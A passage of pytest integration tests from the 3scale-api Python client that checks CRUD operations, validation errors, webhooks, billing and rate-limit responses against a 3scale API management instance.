import pytest import backoff from threescale_api.errors import ApiClientError from tests.integration import asserts def test_should_create_metric(backend_metric, backend_metric_params): asserts.assert_resource(backend_metric) asserts.assert_resource_params(backend_metric, backend_metric_params) def test_should_fields_be_required(backend): resource = backend.metrics.create(params={}, throws=False) asserts.assert_errors_contains(resource, ['friendly_name', 'unit']) def test_should_system_name_be_invalid(backend, backend_metric_params): backend_metric_params['system_name'] = 'invalid name whitespaces' resource = backend.metrics.create(params=backend_metric_params, throws=False) asserts.assert_errors_contains(resource, ['system_name']) def test_should_raise_exception(backend): with pytest.raises(ApiClientError): backend.metrics.create(params={}) def test_should_read_metric(backend_metric, backend_metric_params): resource = backend_metric.read() asserts.assert_resource(resource) asserts.assert_resource_params(resource, backend_metric_params) def test_should_update_metric(backend_metric, backend_updated_metric_params): resource = backend_metric.update(params=backend_updated_metric_params) asserts.assert_resource(resource) asserts.assert_resource_params(resource, backend_updated_metric_params) def test_should_delete_metric(backend, backend_updated_metric_params): resource = backend.metrics.create(params=backend_updated_metric_params) assert resource.exists() resource.delete() assert not resource.exists() def test_should_list_metrics(backend, backend_metric): resources = backend.metrics.list() assert len(resources) >= 1 def test_should_apicast_return_403_when_metric_is_disabled( service, backend_metric_params, create_backend_mapping_rule, account, ssl_verify, backend, backend_usage): """Metric is disabled when its limit is set to 0.""" proxy = service.proxy.list() plan = service.app_plans.create(params=dict(name='metrics-disabled')) application_params = dict(name='metrics-disabled', plan_id=plan['id'], description='metric disabled') app = account.applications.create(params=application_params) back_metric = backend.metrics.create(params=backend_metric_params) plan.limits(back_metric).create(params=dict(period='month', value=0)) rules = backend.mapping_rules.list() for rule in rules: rule.delete() rule = create_backend_mapping_rule(back_metric, 'GET', '/foo/bah/') proxy = service.proxy.list() proxy.deploy() params = get_user_key_from_application(app, proxy) client = app.api_client(verify=ssl_verify) response = make_request(client, backend_usage['path'] + '/' + rule['pattern']) assert response.status_code == 403 @backoff.on_predicate(backoff.expo, lambda resp: resp.status_code == 200, max_tries=8) def make_request(client, path): return client.get(path=path) def get_user_key_from_application(app, proxy): user_key = app['user_key'] user_key_param = proxy['auth_user_key'] return {user_key_param: user_key} def update_proxy_endpoint(service): """Update service proxy. Bug that if the proxy is not updated the changes applied to the mapping rules dont take effect.""" service.proxy.update(params={'endpoint': 'http://test.test:80'}) def test_should_apicast_return_429_when_limits_exceeded( service, application_plan, create_mapping_rule, apicast_http_client): metric_params = dict(system_name='limits_exceeded', unit='count', friendly_name='Limits Exceeded') metric = service.metrics.create(params=metric_params) application_plan.limits(metric).create(params=dict(period='day', value=1)) rule = create_mapping_rule(metric, 'GET', '/limits/exceeded/') update_proxy_endpoint(service) response = apicast_http_client.get(path=rule['pattern']) while response.status_code == 200: response = apicast_http_client.get(path=rule['pattern']) assert response.status_code == 429
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_backend_metrics.py
test_integration_backend_metrics.py
from tests.integration import asserts from threescale_api.resources import Proxy, Service from .asserts import assert_resource, assert_resource_params def test_3scale_url_is_set(api, url, token): assert url is not None assert token is not None assert api.url is not None def test_services_list(api, service): services = api.services.list() assert len(services) >= 1 def test_service_can_be_created(api, service_params, service): assert_resource(service) assert_resource_params(service, service_params) def test_service_can_be_read(api, service_params, service): read = api.services.read(service.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, service_params) def test_service_can_be_read_by_name(api, service_params, service): account_name = service['system_name'] read = api.services[account_name] asserts.assert_resource(read) asserts.assert_resource_params(read, service_params) def test_service_can_be_updated(api, service): assert service['backend_version'] == '1' service['backend_version'] = '2' service.update() assert service['backend_version'] == '2' updated = service.read() assert updated['backend_version'] == '2' assert service['backend_version'] == '2' def test_service_get_proxy(api, service: Service, proxy: Proxy, api_backend): assert proxy['api_backend'] == api_backend assert proxy['api_test_path'] == '/get' def test_service_set_proxy(api, service: Service, proxy: Proxy, api_backend): updated = proxy.update(params=dict(api_test_path='/ip')) assert updated['api_backend'] == api_backend assert updated['api_test_path'] == '/ip' def test_service_proxy_promote(service, proxy): res = proxy.promote() assert res is not None assert res['environment'] == 'production' assert res['content'] is not None def test_service_proxy_deploy(service, proxy): # this will not propagate to proxy config but it allows deployment proxy.update(params=dict(support_email='test@example.com')) proxy.deploy() res = proxy.configs.list(env='staging') proxy_config = res.entity['proxy_configs'][-1]['proxy_config'] assert proxy_config is not None assert proxy_config['environment'] == 'sandbox' assert proxy_config['content'] is not None assert proxy_config['version'] > 1 def test_service_list_configs(service, proxy): res = proxy.configs.list(env='staging') assert res item = res[0] assert item def test_service_proxy_configs_version(service, proxy): config = service.proxy.list().configs.version(version=1) assert config assert config['environment'] == "sandbox" assert config['version'] == 1 assert config['content'] def test_service_proxy_configs_latest(service, proxy): config = service.proxy.list().configs.latest() assert config assert config['environment'] == "sandbox" assert config['version'] assert config['content'] def test_service_proxy_configs_list_length(service, proxy): configs = service.proxy.list().configs.list(env="sandbox") length = len(configs) proxy.update(params=dict(api_test_path='/ip')) configs = service.proxy.list().configs.list(env="sandbox") assert len(configs) == length + 1 def test_service_mapping_rules(service): map_rules = service.mapping_rules.list() assert len(map_rules) >= 1 def test_service_backend_usages_list(service, backend_usage): back_usages = service.backend_usages.list() assert len(back_usages) >= 1 def test_service_backend_usages_backend(backend_usage, backend): assert backend_usage.backend.entity_id == backend.entity_id def test_service_active_docs(service, active_doc): assert all([acs['service_id'] == service['id'] for acs in service.active_docs.list()])
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_services.py
test_integration_services.py
import pytest import secrets from tests.integration import asserts @pytest.fixture(scope='module') def update_application_params(): suffix = secrets.token_urlsafe(8) name = f"updated-{suffix}" return dict(name=name, description=name) def test_application_can_be_created(application, application_params): asserts.assert_resource(application) asserts.assert_resource_params(application, application_params) def test_application_list(account, application): applications = account.applications.list() assert len(applications) > 0 def test_application_update(application, update_application_params): updated_application = application.update(params=update_application_params) asserts.assert_resource(updated_application) asserts.assert_resource_params(updated_application, update_application_params)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_application.py
test_integration_application.py
import pytest import backoff from threescale_api.errors import ApiClientError from tests.integration import asserts def test_list_metrics(service, metric): assert len(service.metrics.list()) >= 1 def test_should_create_metric(metric, metric_params): asserts.assert_resource(metric) asserts.assert_resource_params(metric, metric_params) def test_should_fields_be_required(service): resource = service.metrics.create(params={}, throws=False) asserts.assert_errors_contains(resource, ['friendly_name', 'unit']) def test_should_system_name_be_invalid(service, metric_params): metric_params['system_name'] = 'invalid name whitespaces' resource = service.metrics.create(params=metric_params, throws=False) asserts.assert_errors_contains(resource, ['system_name']) def test_should_raise_exception(service): with pytest.raises(ApiClientError): service.metrics.create(params={}) def test_should_read_metric(metric, metric_params): resource = metric.read() asserts.assert_resource(resource) asserts.assert_resource_params(resource, metric_params) def test_should_update_metric(metric, updated_metric_params): resource = metric.update(params=updated_metric_params) asserts.assert_resource(resource) asserts.assert_resource_params(resource, updated_metric_params) def test_should_delete_metric(service, updated_metric_params): resource = service.metrics.create(params=updated_metric_params) assert resource.exists() resource.delete() assert not resource.exists() def test_should_list_metrics(service): resources = service.metrics.list() assert len(resources) > 1 def test_should_apicast_return_403_when_metric_is_disabled( service, metric_params, create_mapping_rule, account, ssl_verify, backend_usage): """Metric is disabled when its limit is set to 0.""" proxy = service.proxy.list() plan = service.app_plans.create(params=dict(name='metrics-disabled')) application_params = dict(name='metrics-disabled', plan_id=plan['id'], description='metric disabled') app = account.applications.create(params=application_params) metric = service.metrics.create(params=metric_params) plan.limits(metric).create(params=dict(period='month', value=0)) rules = proxy.mapping_rules.list() for rule in rules: rule.delete() rule = create_mapping_rule(metric, 'GET', '/foo/bah/') update_proxy_endpoint(service, backend_usage) # params = get_user_key_from_application(app, proxy) client = app.api_client(verify=ssl_verify) response = make_request(client, rule['pattern']) assert response.status_code == 403 @backoff.on_predicate(backoff.expo, lambda resp: resp.status_code == 200, max_tries=8) def make_request(client, path): return client.get(path=path) def get_user_key_from_application(app, proxy): user_key = app['user_key'] user_key_param = proxy['auth_user_key'] return {user_key_param: user_key} def update_proxy_endpoint(service, backend_usage): """Update service proxy.""" path = backend_usage['path'] backend_usage['path'] = '/moloko' backend_usage.update() backend_usage['path'] = path backend_usage.update() proxy = service.proxy.list().configs.list(env='sandbox').proxy proxy.deploy() proxy_tmp = service.proxy.list().configs.list(env='sandbox') version = proxy_tmp.entity['proxy_configs'][-1]['proxy_config']['version'] proxy.promote(version=version) def test_should_apicast_return_429_when_limits_exceeded( service, application_plan, create_mapping_rule, apicast_http_client, backend_usage): metric_params = dict(system_name='limits_exceeded', unit='count', friendly_name='Limits Exceeded') metric = service.metrics.create(params=metric_params) application_plan.limits(metric).create(params=dict(period='day', value=1)) rule = create_mapping_rule(metric, 'GET', '/limits/exceeded/') update_proxy_endpoint(service, backend_usage) response = apicast_http_client.get(path=rule['pattern']) while response.status_code == 200: response = apicast_http_client.get(path=rule['pattern']) assert response.status_code == 429
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_metrics.py
test_integration_metrics.py
import pytest from threescale_api.errors import ApiClientError from tests.integration import asserts def test_list_methods(metric, method): assert len(metric.methods.list()) >= 1 def test_should_create_method(method, method_params): asserts.assert_resource(method) asserts.assert_resource_params(method, method_params) def test_should_not_create_method_for_custom_metric(metric, method_params): resource = metric.methods.create(params=method_params, throws=False) asserts.assert_errors_contains(resource, ['parent_id']) def test_should_friendly_name_be_required(hits_metric): resource = hits_metric.methods.create(params={}, throws=False) asserts.assert_errors_contains(resource, ['friendly_name']) def test_should_raise_api_exception(hits_metric): with pytest.raises(ApiClientError): hits_metric.methods.create(params={}) def test_should_read_method(method, method_params): resource = method.read() asserts.assert_resource(resource) asserts.assert_resource_params(resource, method_params) def test_should_update_method(method, updated_method_params): resource = method.update(params=updated_method_params) asserts.assert_resource(resource) asserts.assert_resource_params(resource, updated_method_params) def test_should_delete_method(hits_metric, updated_method_params): resource = hits_metric.methods.create(params=updated_method_params) assert resource.exists() resource.delete() assert not resource.exists() def test_should_list_methods(hits_metric): resources = hits_metric.methods.list() assert len(resources) == 1
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_methods.py
test_integration_methods.py
from datetime import date, timedelta from random import randint import backoff import pytest # Some of the tests can fail randomly because of tenant not being 100% ready, be warned @pytest.fixture() def next_day() -> str: return (date.today() + timedelta(days=1)).isoformat() @pytest.fixture() def paid_account(service_params, account_params, account_plans_params, application_plan_params): def _paid_account(api): """ Creates new account with payed app plan on default service. No need for deletion as all is happening on temporary tenant. """ service = api.services.list()[0] account_params.update(org_name=f"test-{randint(1,10000)}", username=f"test-{randint(1,10000)}") account = api.accounts.create(account_params) application_plan_params.update(name=f"test-{randint(1,10000)}", setup_fee="5", cost_per_month="5") app_plan = service.app_plans.create(params=application_plan_params) application_params = dict(name=f"test-{randint(1,10000)}", description="desc", plan_id=app_plan.entity_id) account.applications.create(params=application_params) return account return _paid_account @backoff.on_predicate(backoff.fibo, lambda x: x == 0, max_tries=8, jitter=None) def count_invoice(api, account): # creating the invoice takes some time return len(api.invoices.list_by_account(account)) def test_trigger_billing(master_api, custom_tenant, paid_account, next_day): api = custom_tenant.admin_api(wait=True) account = paid_account(api) assert master_api.tenants.trigger_billing(custom_tenant, next_day) assert count_invoice(api, account) == 1 def test_trigger_billing_resource(custom_tenant, paid_account, next_day): api = custom_tenant.admin_api(wait=True) account = paid_account(api) assert custom_tenant.trigger_billing(next_day) assert count_invoice(api, account) == 1 def test_trigger_billing_account(master_api, custom_tenant, paid_account, next_day): api = custom_tenant.admin_api(wait=True) account = paid_account(api) assert master_api.tenants.trigger_billing_account(custom_tenant, account, next_day) assert count_invoice(api, account) == 1 def test_trigger_billing_account_resource(custom_tenant, paid_account, next_day): api = custom_tenant.admin_api(wait=True) account = paid_account(api) assert custom_tenant.trigger_billing_account(account, next_day) assert count_invoice(api, account) == 1
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_tenant.py
test_integration_tenant.py
import pytest import requests from tests.integration import asserts def test_should_list_mapping_rules(proxy, mapping_rule): resource = proxy.mapping_rules.list() assert len(resource) > 1 def test_should_create_mapping_rule(mapping_rule, mapping_rule_params): asserts.assert_resource(mapping_rule) asserts.assert_resource_params(mapping_rule, mapping_rule_params) def test_should_mapping_rule_endpoint_return_ok(mapping_rule, apicast_http_client): response = apicast_http_client.get(path=mapping_rule['pattern']) asserts.assert_http_ok(response) def test_should_fields_be_required(proxy, updated_mapping_rules_params): del updated_mapping_rules_params['delta'] del updated_mapping_rules_params['http_method'] del updated_mapping_rules_params['metric_id'] resource = proxy.mapping_rules.create(params=updated_mapping_rules_params, throws=False) asserts.assert_errors_contains(resource, ['delta', 'http_method', 'metric_id']) def test_should_read_mapping_rule(mapping_rule, mapping_rule_params): resource = mapping_rule.read() asserts.assert_resource(resource) asserts.assert_resource_params(resource, mapping_rule_params) def test_should_update_mapping_rule(proxy, updated_mapping_rules_params, apicast_http_client): resource = proxy.mapping_rules.create(params=updated_mapping_rules_params) pattern = '/anything/test-foo' resource['pattern'] = pattern resource.update() updated_resource = resource.read() assert updated_resource['pattern'] == pattern response = apicast_http_client.get(path=pattern) asserts.assert_http_ok(response) def test_should_delete_mapping_rule(proxy, updated_mapping_rules_params): resource = proxy.mapping_rules.create(params=updated_mapping_rules_params) assert resource.exists() resource.delete() assert not resource.exists() def test_stop_processing_mapping_rules_once_first_one_is_met(proxy, updated_mapping_rules_params, apicast_http_client): params_first = updated_mapping_rules_params.copy() params_first['pattern'] = '/anything/search' resource_first = proxy.mapping_rules.create(params=params_first) assert resource_first.exists() params_second = updated_mapping_rules_params.copy() params_second['pattern'] = '/anything/{id}' resource_second =proxy.mapping_rules.create(params=params_second) assert resource_second.exists() response = apicast_http_client.get(path=params_first['pattern']) asserts.assert_http_ok(response) assert params_first['pattern'] in response.url
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_mapping_rules.py
test_integration_mapping_rules.py
from tests.integration import asserts def test_accounts_list(api, account): accounts = api.accounts.list() assert len(accounts) >= 1 def test_account_can_be_created(api, account, account_params): asserts.assert_resource(account) asserts.assert_resource_params(account, account_params) def test_account_can_be_read(api, account, account_params): read = api.accounts.read(account.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, account_params) def test_account_can_be_read_by_name(api, account, account_params): account_name = account['org_name'] read = api.accounts[account_name] asserts.assert_resource(read) asserts.assert_resource_params(read, account_params) def test_users_list(api, account): assert len(account.users.list()) >= 1
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_accounts.py
test_integration_accounts.py
import json def test_webhooks(webhook): # Test for Keys webhooks expected = {"url": "https://example.com", "active": "true", "provider_actions": "true", "application_key_created_on": "true", "application_key_deleted_on": "true", "application_key_updated_on": "true" } request = webhook.setup("Keys", "https://example.com") data = json.loads(request.request.body.decode(encoding='UTF-8')) assert data == expected # Test for Users webhooks expected = {"url": "https://example.com", "active": "true", "provider_actions": "true", "user_created_on": "true", "user_updated_on": "true", "user_deleted_on": "true" } request = webhook.setup("Users", "https://example.com") data = json.loads(request.request.body.decode(encoding='UTF-8')) assert data == expected # Test for Applications webhooks expected = {"url": "https://example.com", "active": "true", "provider_actions": "true", "application_created_on": "true", "application_updated_on": "true", "application_suspended_on": "true", "application_plan_changed_on": "true", "application_user_key_updated_on": "true", "application_deleted_on": "true" } request = webhook.setup("Applications", "https://example.com") data = json.loads(request.request.body.decode(encoding='UTF-8')) assert data == expected # Test for Accounts webhooks expected = {"url": "https://example.com", "active": "true", "provider_actions": "true", "account_created_on": "true", "account_updated_on": "true", "account_deleted_on": "true", "account_plan_changed_on": "true" } request = webhook.setup("Accounts", "https://example.com") data = json.loads(request.request.body.decode(encoding='UTF-8')) assert data == expected # Test for clear webhooks expected = {"url": "", "active": "false", "provider_actions": "false", "account_created_on": "false", "account_updated_on": "false", "account_deleted_on": "false", "user_created_on": "false", "user_updated_on": "false", "user_deleted_on": "false", "application_created_on": "false", "application_updated_on": "false", "application_deleted_on": "false", "account_plan_changed_on": "false", "application_plan_changed_on": "false", "application_user_key_updated_on": "false", "application_key_created_on": "false", "application_key_deleted_on": "false", "application_suspended_on": "false", "application_key_updated_on": "false", } request = webhook.clear() data = json.loads(request.request.body.decode(encoding='UTF-8')) assert data == expected
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_webhook.py
test_integration_webhook.py
from typing import List import requests import threescale_api.defaults def assert_resource(resource: threescale_api.defaults.DefaultResource): assert resource is not None assert resource.entity_id is not None assert resource.entity is not None def assert_errors_contains(resource: threescale_api.defaults.DefaultClient, fields: List[str]): errors = resource['errors'] assert errors is not None for field in fields: assert field in errors def assert_resource_params(obj: threescale_api.defaults.DefaultResource, params: dict, allowed=None): for (key, val) in params.items(): if allowed is not None and key in allowed: assert obj[key] == val, f"Resource value for key \"{key}\" should be correct." assert obj.entity[key] == val, "Entity value for key \"{key}\" should be correct." def assert_http_ok(response: requests.Response): assert response.status_code == 200
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/asserts.py
asserts.py
import pytest from threescale_api.resources import InvoiceState from .asserts import assert_resource, assert_resource_params @pytest.fixture(scope="function") def invoice_to_update(account, api): entity = api.invoices.create(dict(account_id=account['id'])) yield entity entity.state_update(InvoiceState.CANCELLED) def test_invoice_create(invoice): assert_resource(invoice) def test_invoice_read(invoice, api): read = api.invoices.read(invoice.entity_id) assert_resource(read) assert_resource_params(read, invoice) def test_invoice_list(invoice, api): invoices = api.invoices.list() assert len(invoices) >= 1 def test_invoice_update(invoice, api): assert invoice['state'] == 'open' update = api.invoices.update(invoice.entity_id, dict(friendly_id='1111-11111111')) assert update['friendly_id'] == '1111-11111111' read = api.invoices.read(invoice.entity_id) assert read['friendly_id'] == '1111-11111111' def test_invoice_list_by_account(api, account, invoice): invoices = api.invoices.list_by_account(account.entity_id) assert len(invoices) == 1 assert_resource(invoices[0]) assert_resource_params(invoice, invoices[0]) def test_invoice_read_by_account(api, account, invoice): read = api.invoices.read_by_account(invoice.entity_id, account.entity_id) assert_resource(read) assert_resource_params(read, invoice) def test_invoice_update_state(invoice_to_update, api): assert invoice_to_update['state'] == 'open' update = api.invoices.state_update(invoice_to_update.entity_id, InvoiceState.PENDING) assert update['state'] == 'pending' read = api.invoices.read(invoice_to_update.entity_id) assert read['state'] == 'pending' def test_invoice_resource_update_state(invoice_to_update, api): assert invoice_to_update['state'] == 'open' update = invoice_to_update.state_update(InvoiceState.PENDING) assert update['state'] == 'pending' read = api.invoices.read(invoice_to_update.entity_id) assert read['state'] == 'pending' def test_line_invoice_create(invoice_line): assert_resource(invoice_line) def test_line_invoice_list(invoice, invoice_line): lines = invoice.line_items.list() assert len(lines) == 1 assert_resource_params(invoice_line, lines[0])
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_invoices.py
test_integration_invoices.py
from .asserts import assert_resource from .conftest import get_suffix def test_provider_account_read(provider_account): assert_resource(provider_account) def test_provider_account_update(provider_account, api): update_access_code = get_suffix() api.provider_accounts.update(dict(site_access_code=update_access_code)) update = api.provider_accounts.fetch() assert update['site_access_code'] == update_access_code def test_provider_account_resource_update(provider_account, api): update_access_code = get_suffix() provider_account.update(dict(site_access_code=update_access_code)) assert provider_account['site_access_code'] == update_access_code update = api.provider_accounts.fetch() assert update['site_access_code'] == update_access_code
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_provider_account.py
test_integration_provider_account.py
""" Test CMS API """ import pytest from tests.integration import asserts from threescale_api import errors from .asserts import assert_resource, assert_resource_params # Files def test_file_list(api, cms_file): """ List all files. """ assert len(api.cms_files.list()) >= 1 def test_file_can_be_created(cms_file_data, cms_file): """ Is file created properly? """ assert_resource(cms_file) assert_resource_params(cms_file, cms_file_data) def test_file_can_be_read(api, cms_file_data, cms_file): """ It is possible to get file by ID? """ read = api.cms_files.read(cms_file.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, cms_file_data) def test_file_can_be_read_by_name(api, cms_file_data, cms_file): """ It is possible to get file by name? """ file_path = cms_file['path'] read = api.cms_files[file_path] asserts.assert_resource(read) asserts.assert_resource_params(read, cms_file_data) def test_file_can_be_updated(cms_file_data, cms_file): """ Can be file object updated? """ updated_path = cms_file['path'] + 'up' cms_file['path'] = cms_file['path'] + 'up' # https://issues.redhat.com/browse/THREESCALE-9571 for item in "created_at", "updated_at", "url", "title", "content_type": cms_file.pop(item) cms_file.update() assert cms_file['path'] == updated_path updated = cms_file.read() assert updated['path'] == updated_path assert cms_file['path'] == updated_path # Sections def test_section_list(api, cms_section): """ List all sections. """ assert len(api.cms_sections.list()) >= 1 def test_section_can_be_created(cms_section_params, cms_section): """ Is section created properly? """ assert_resource(cms_section) assert_resource_params(cms_section, cms_section_params) def test_section_can_be_read(api, cms_section_params, cms_section): """ It is possible to get section by ID? """ read = api.cms_sections.read(cms_section.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, cms_section_params) def test_section_can_be_updated(cms_section_params, cms_section): """ Can be section object updated? """ updated_title = cms_section['title'] + 'up' cms_section['title'] = cms_section['title'] + 'up' # https://issues.redhat.com/browse/THREESCALE-9571 for item in "created_at", "updated_at": cms_section.pop(item) cms_section.update() assert cms_section['title'] == updated_title updated = cms_section.read() assert updated['title'] == updated_title assert cms_section['title'] == updated_title def test_builtin_section_delete(api): """It is not possible to delete section partial.""" with pytest.raises(errors.ApiClientError) as exc_info: api.cms_sections.list()[0].delete() assert exc_info.value.code == 422 # Partials # builtin def test_builtin_partials_list(api): """ List all sections. """ assert len(api.cms_builtin_partials.list()) >= 1 def test_builtin_partial_can_be_read(api): """ It is possible to get partial by ID? """ cms_partial = api.cms_builtin_partials.list()[-1] read = api.cms_builtin_partials.read(cms_partial.entity_id) asserts.assert_resource(read) def test_builtin_partial_delete(api): """It is not possible to delete builtin partial.""" with pytest.raises(errors.ApiClientError) as exc_info: api.cms_builtin_partials.list()[0].delete() assert exc_info.value.code == 422 # user def test_partial_list(api, cms_partial): """ List all user defined partials. """ parts_list = api.cms_partials.list() assert len(parts_list) >= 1 assert all('draft' in part.entity.keys() and 'published' in part.entity.keys() for part in parts_list) def test_partial_can_be_created(cms_partial_params, cms_partial): """ Is partial created properly? """ assert_resource(cms_partial) assert_resource_params(cms_partial, cms_partial_params) def test_partial_can_be_read(api, cms_partial_params, cms_partial): """ It is possible to get partial by ID? """ read = api.cms_partials.read(cms_partial.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, cms_partial_params) def test_partial_can_be_updated(cms_partial_params, cms_partial): """ Can be partial object updated? """ updated_draft = cms_partial['draft'] + 'up' cms_partial['draft'] = cms_partial['draft'] + 'up' # https://issues.redhat.com/browse/THREESCALE-9571 for item in "created_at", "updated_at", "published": cms_partial.pop(item) cms_partial.update() assert cms_partial['draft'] == updated_draft updated = cms_partial.read() assert updated['draft'] == updated_draft assert cms_partial['draft'] == updated_draft def test_partial_publish(cms_partial): """ Test publishing of partials. """ assert cms_partial.entity.get('published', None) is None draft = cms_partial['draft'] cms_partial = cms_partial.publish() assert cms_partial['draft'] == None assert draft == cms_partial['published'] # Pages # builtin def test_builtin_pages_list(api): """ List all sections. """ assert len(api.cms_builtin_pages.list()) >= 1 def test_builtin_page_can_be_read(api): """ It is possible to get page by ID? """ cms_page = api.cms_builtin_pages.list()[-1] read = api.cms_builtin_pages.read(cms_page.entity_id) asserts.assert_resource(read) def test_builtin_page_delete(api): """It is not possible to delete builtin page.""" with pytest.raises(errors.ApiClientError) as exc_info: api.cms_builtin_pages.list()[0].delete() assert exc_info.value.code == 422 # user def test_page_list(api, cms_page): """ List all user defined pages. """ assert len(api.cms_pages.list()) >= 1 def test_page_can_be_created(cms_page_params, cms_page): """ Is page created properly? """ assert_resource(cms_page) assert_resource_params(cms_page, cms_page_params) def test_page_can_be_read(api, cms_page_params, cms_page): """ It is possible to get page by ID? """ read = api.cms_pages.read(cms_page.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, cms_page_params) def test_page_can_be_updated(cms_page_params, cms_page): """ Can be page object updated? """ updated_draft = cms_page['draft'] + 'up' cms_page['draft'] = cms_page['draft'] + 'up' # https://issues.redhat.com/browse/THREESCALE-9571 for item in "created_at", "updated_at", "hidden", "published": cms_page.pop(item) cms_page.update() assert cms_page['draft'] == updated_draft updated = cms_page.read() assert updated['draft'] == updated_draft assert cms_page['draft'] == updated_draft def test_page_publish(cms_page): """ Test publishing of pages. """ assert cms_page.entity.get('published', None) is None draft = cms_page['draft'] cms_page = cms_page.publish() assert draft == cms_page['published'] # Layouts def test_layout_list(api, cms_layout): """ List all user defined layouts. """ assert len(api.cms_layouts.list()) >= 1 def test_layout_can_be_created(cms_layout_params, cms_layout): """ Is layout created properly? """ assert_resource(cms_layout) assert_resource_params(cms_layout, cms_layout_params) def test_layout_can_be_read(api, cms_layout_params, cms_layout): """ It is possible to get layout by ID? """ read = api.cms_layouts.read(cms_layout.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, cms_layout_params) def test_layout_can_be_updated(cms_layout_params, cms_layout): """ Can be layout object updated? """ updated_draft = cms_layout['draft'] + 'up' cms_layout['draft'] = cms_layout['draft'] + 'up' # https://issues.redhat.com/browse/THREESCALE-9571 for item in "created_at", "updated_at", "published": cms_layout.pop(item) cms_layout.update() assert cms_layout['draft'] == updated_draft updated = cms_layout.read() assert updated['draft'] == updated_draft assert cms_layout['draft'] == updated_draft def test_layout_publish(cms_layout): """ Test publishing of layouts. """ assert cms_layout.entity.get('published', None) is None draft = cms_layout['draft'] cms_layout = cms_layout.publish() assert draft == cms_layout['published'] # filters def test_section_filter(api, cms_section): """ Test section filtering """ assert all(sec['parent_id'] == cms_section['parent_id'] for sec in api.cms_sections.select_by(parent_id=cms_section['parent_id'])) assert api.cms_sections.select_by(title=cms_section['title'])[0] == cms_section def test_files_filter(api, cms_file, cms_section): """ Test files filtering """ assert api.cms_files.select_by(section_id=cms_section['id'])[0] == cms_file assert api.cms_files.select_by(path=cms_file['path'])[0] == cms_file # https://issues.redhat.com/browse/THREESCALE-9191?focusedId=22406548&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-22406548 def test_partial_filter(api, cms_partial, cms_section): """ Test partial filtering """ assert api.cms_partials.select_by(section_id=cms_section['id']) == [] assert api.cms_partials.select_by(system_name=cms_partial['system_name'])[0] == cms_partial def test_layout_filter(api, cms_layout, cms_section): """ Test layout filtering """ assert api.cms_layouts.select_by(section_id=cms_section['id']) == [] assert api.cms_layouts.select_by(title=cms_layout['title'])[0] == cms_layout def test_page_filter(api, cms_section, cms_page): """ Test page filtering """ assert api.cms_pages.select_by(section_id=cms_section['id'])[0] == cms_page assert api.cms_pages.select_by(title=cms_page['title'])[0] == cms_page
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_cms.py
test_integration_cms.py
from . import asserts def test_access_tokens_list(api, access_token): access_tokens = api.access_tokens.list() assert len(access_tokens) >= 1 def test_access_token_can_be_created(api, access_token, access_token_params): asserts.assert_resource(access_token) asserts.assert_resource_params(access_token, access_token_params) def test_access_token_can_be_read(api, access_token, access_token_params): read = api.access_tokens.read(access_token.entity_id) asserts.assert_resource(read) asserts.assert_resource_params(read, access_token_params) def test_access_token_can_be_read_by_name(api, access_token, access_token_params): access_token_name = access_token["name"] read = api.access_tokens[access_token_name] asserts.assert_resource(read) asserts.assert_resource_params(read, access_token_params)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_access_token.py
test_integration_access_token.py
from .asserts import assert_resource def test_3scale_master_url_is_set(master_api, master_url, master_token): assert master_url assert master_token assert master_api.url def test_tenant_can_be_created(custom_tenant, tenant_params): assert_resource(custom_tenant) assert custom_tenant.entity["signup"]['account']['admin_domain'] assert custom_tenant.entity["signup"]["access_token"]["value"]
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_custom_tenant.py
test_integration_custom_tenant.py
import pytest from threescale_api.resources import ApplicationPlan @pytest.fixture() def pricing_rules(metric, application_plan: ApplicationPlan): params = dict(min=10, max=100, cost_per_unit=20) application_plan.pricing_rules(metric).create(params) return application_plan.pricing_rules(metric).list() def test_create_pricing_rule(pricing_rules): assert pricing_rules is not None rule = pricing_rules[0] assert rule['max'] == 100 assert rule['min'] == 10 assert rule['cost_per_unit'] == '20.0'
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/tests/integration/test_integration_pricing_rules.py
test_integration_pricing_rules.py
import pytest from tests.integration import asserts def test_should_list_mapping_rules(backend, backend_mapping_rule): resources = backend.mapping_rules.list() assert len(resources) >= 1 def test_should_create_mapping_rule(backend_mapping_rule, backend_mapping_rule_params): asserts.assert_resource(backend_mapping_rule) asserts.assert_resource_params(backend_mapping_rule, backend_mapping_rule_params) def test_should_mapping_rule_endpoint_return_ok(service, backend_mapping_rule, backend_usage, apicast_http_client): service.proxy.deploy() response = apicast_http_client.get(path=backend_mapping_rule['pattern']) asserts.assert_http_ok(response) def test_should_fields_be_required(backend, updated_backend_mapping_rules_params): del updated_backend_mapping_rules_params['delta'] del updated_backend_mapping_rules_params['http_method'] del updated_backend_mapping_rules_params['metric_id'] resource = backend.mapping_rules.create(params=updated_backend_mapping_rules_params, throws=False) asserts.assert_errors_contains(resource, ['delta', 'http_method', 'metric_id']) def test_should_read_mapping_rule(backend_mapping_rule, backend_mapping_rule_params): resource = backend_mapping_rule.read() asserts.assert_resource(resource) asserts.assert_resource_params(resource, backend_mapping_rule_params) def test_should_update_mapping_rule(service, backend, 